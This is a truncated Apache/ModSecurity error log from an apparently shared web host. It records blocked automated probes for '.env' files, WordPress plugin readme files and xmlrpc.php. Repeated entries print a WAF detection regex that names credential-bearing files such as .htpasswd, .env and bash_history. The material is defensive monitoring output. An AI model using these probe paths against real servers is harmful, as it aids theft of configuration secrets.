"ai3zYNyTkdrNlD40tSG2cAAAAHQ"] [Sat Jun 13 18:18:41.136431 2026] [security2:error] [pid 646876:tid 647016] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v7.0/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2dQAAAAg"] [Sat Jun 13 18:18:41.154825 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.40:56802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:41.155099 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.40:56802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:41.160431 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:18:41.160773 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:18:41.272609 2026] [security2:error] [pid 646876:tid 647041] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v8.0/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2dwAAACE"] [Sat Jun 13 18:18:41.283143 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.14:47726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:41.283418 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.14:47726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:41.317013 2026] [security2:error] [pid 648189:tid 648366] [client 45.156.128.154:34096] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/kingcomposer/readme.txt"] [unique_id "ai3zYVWSojQL4F7upKBxkQAAAJI"] [Sat Jun 13 18:18:41.335673 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.76:56825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:41.335930 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.76:56825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:41.409677 2026] [security2:error] [pid 646876:tid 647098] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v9.0/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2fQAAAFo"] [Sat Jun 13 18:18:41.430902 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.91:57252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:41.431240 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.91:57252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:41.546761 2026] [security2:error] [pid 646876:tid 647096] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/drupal-test/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2fwAAAFg"] [Sat Jun 13 18:18:41.576402 2026] [security2:error] [pid 648189:tid 648250] [remote 17.22.237.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zYVWSojQL4F7upKBxmgAAoR0"] [Sat Jun 13 18:18:41.608141 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.37:31652] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:41.608610 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.37:31652] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:41.685292 2026] [security2:error] [pid 646876:tid 647130] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/Integration/Environment/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2hAAAAHo"] [Sat Jun 13 18:18:41.692415 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:18:41.692714 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:18:41.705073 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.76:56827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:41.705506 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.76:56827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:41.823184 2026] [security2:error] [pid 646876:tid 647052] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/todo-react/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2hgAAACw"] [Sat Jun 13 18:18:41.869603 2026] [security2:error] [pid 648189:tid 648253] [remote 17.246.19.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zYVWSojQL4F7upKBxpQAA0B8"] [Sat Jun 13 18:18:41.967083 2026] [security2:error] [pid 646876:tid 647093] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/testwork_json/.env"] [unique_id "ai3zYdyTkdrNlD40tSG2iAAAAFU"] [Sat Jun 13 18:18:42.103392 2026] [security2:error] [pid 646876:tid 647132] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/theme/.env"] [unique_id "ai3zYtyTkdrNlD40tSG2jAAAAHw"] [Sat Jun 13 18:18:42.156983 2026] [security2:error] [pid 648189:tid 648239] [remote 17.22.245.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zYlWSojQL4F7upKBxrwAAsxI"] [Sat Jun 13 18:18:42.218206 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAw [Sat Jun 13 18:18:42.218684 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAw [Sat Jun 13 18:18:42.241726 2026] [security2:error] [pid 646876:tid 647076] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/theme_static/.env"] [unique_id "ai3zYtyTkdrNlD40tSG2jwAAAEQ"] [Sat Jun 13 18:18:42.379200 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/thumb/.env"] [unique_id "ai3zYtyTkdrNlD40tSG2kQAAAHM"] [Sat Jun 13 18:18:42.384525 2026] [security2:error] [pid 646876:tid 647054] [client 45.156.128.154:34100] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wpschoolpress/readme.txt"] [unique_id "ai3zYtyTkdrNlD40tSG2kgAAAC4"] [Sat Jun 13 18:18:42.517186 2026] [security2:error] [pid 646876:tid 647033] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/thumbs/.env"] [unique_id "ai3zYtyTkdrNlD40tSG2lQAAABk"] [Sat Jun 13 18:18:42.628304 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.14:47738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:42.628581 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.14:47738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:42.654980 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tiedostot/.env"] [unique_id "ai3zYtyTkdrNlD40tSG2lwAAABM"] [Sat Jun 13 18:18:42.753370 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL2RldmljZS9kcml2ZXIvc2VyaW8wL3Bvd2Vy [Sat Jun 13 18:18:42.753771 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL2RldmljZS9kcml2ZXIvc2VyaW8wL3Bvd2Vy [Sat Jun 13 18:18:42.791025 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:14808] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/time.php"] [unique_id "ai3zYtyTkdrNlD40tSG2mgAAAHI"] [Sat Jun 13 18:18:42.811861 2026] [security2:error] [pid 648189:tid 648349] [remote 17.246.15.188:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 188.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zYlWSojQL4F7upKBxxAAA1H4"] [Sat Jun 13 18:18:42.919935 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.54:37475] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:42.920664 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.54:37475] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:43.065488 2026] [security2:error] [pid 646876:tid 647034] [client 185.177.72.9:14810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tmp/.env"] [unique_id "ai3zY9yTkdrNlD40tSG2pgAAABo"] [Sat Jun 13 18:18:43.205439 2026] [security2:error] [pid 646876:tid 647101] [client 185.177.72.9:14810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tmp/config/.env"] [unique_id "ai3zY9yTkdrNlD40tSG2rAAAAF0"] [Sat Jun 13 18:18:43.243419 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.112:62070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:43.243860 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.112:62070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:43.247726 2026] [security2:error] [pid 646876:tid 647020] [client 172.56.168.133:24898] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zY9yTkdrNlD40tSG2rQAAAAw"] [Sat Jun 13 18:18:43.247870 2026] [security2:error] [pid 646876:tid 647020] [client 172.56.168.133:24898] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file 